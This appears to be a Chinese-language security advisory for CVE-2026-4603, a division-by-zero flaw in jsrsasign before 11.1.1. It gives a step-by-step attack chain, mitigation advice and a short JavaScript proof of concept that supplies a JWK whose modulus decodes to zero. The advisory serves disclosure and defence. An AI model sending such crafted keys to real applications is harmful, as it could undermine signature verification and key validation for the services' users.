IPBUF安全漏洞报告
English
CVE-2026-4603 CVSS 5.9 中危

CVE-2026-4603 jsrsasign除零漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4603
漏洞类型
除零错误
CVSS评分
5.9 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jsrsasign

相关标签

除零错误jsrsasignCryptography逻辑漏洞

漏洞概述

jsrsasign库在11.1.1之前的版本存在安全漏洞。该漏洞源于RSA公钥处理逻辑中的缺陷,攻击者可通过提供模数解码为零的JWK(JSON Web Key)触发除零错误。这将导致RSA公钥操作(如验证和加密)输出确定性的零值,并掩盖“无效密钥”错误,从而影响系统的机密性、完整性和可用性。

技术细节

该漏洞位于jsrsasign库的ext/rsa.js和ext/jsbn.js文件中。具体而言,当RSASetPublic/KEYUTIL解析路径处理特制的JWK时,如果JWK中的模数被构造为解码后的数值为0,库在执行公钥操作时会调用BigInteger.modPowInt进行模幂运算。由于模数为0,模运算逻辑将触发除以零的错误。代码未能正确处理这种边界情况,导致运算结果被强制归零,且正常的错误抛出机制可能被绕过,使得应用程序无法识别出无效的密钥输入。

攻击链分析

STEP 1
侦察
识别使用jsrsasign库且版本低于11.1.1的Web应用程序或服务。
STEP 2
构造载荷
攻击者创建一个特制的JWK(JSON Web Key)对象,将其中的'n'(模数)字段设置为Base64解码后值为0的字符串(例如"AA")。
STEP 3
提交载荷
通过应用程序的API接口或前端输入,将恶意JWK发送给目标服务器,使其调用jsrsasign库的KEYUTIL.getKey函数进行解析。
STEP 4
触发漏洞
库解析密钥时,在BigInteger.modPowInt运算中触发除以零逻辑,导致加密操作返回错误的零值,并可能绕过密钥有效性检查。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-4603: jsrsasign Division by Zero // This PoC demonstrates triggering the vulnerability by parsing a JWK with a modulus of zero. const rs = require('jsrsasign'); try { // Construct a malicious JWK where 'n' (modulus) decodes to 0 // Base64URL string "AA" decodes to a single zero byte. const maliciousJWK = { kty: "RSA", n: "AA", e: "AQAB", alg: "RS256" }; console.log("[+] Attempting to parse malicious JWK with zero modulus..."); // KEYUTIL.getKey triggers the RSASetPublic parsing path const publicKey = rs.KEYUTIL.getKey(maliciousJWK); console.log("[+] Key object created (potentially corrupted):", publicKey); // Attempting a verify operation that triggers modPowInt // In vulnerable versions, this may behave unexpectedly or return deterministic zeros const sig = new rs.KJUR.crypto.Signature({"alg": "SHA256withRSA"}); sig.init(publicKey); console.log("[+] Signature initialized with potentially invalid key."); } catch (error) { console.error("[!] Error occurred (may be suppressed in vulnerable versions):", error.message); }

影响范围

jsrsasign < 11.1.1

防御指南

临时缓解措施
建议尽快升级jsrsasign库至修复版本。若暂时无法升级,应在代码层面增加对JWK模数的校验逻辑,确保模数不为零且符合RSA数学要求,以阻断漏洞触发路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表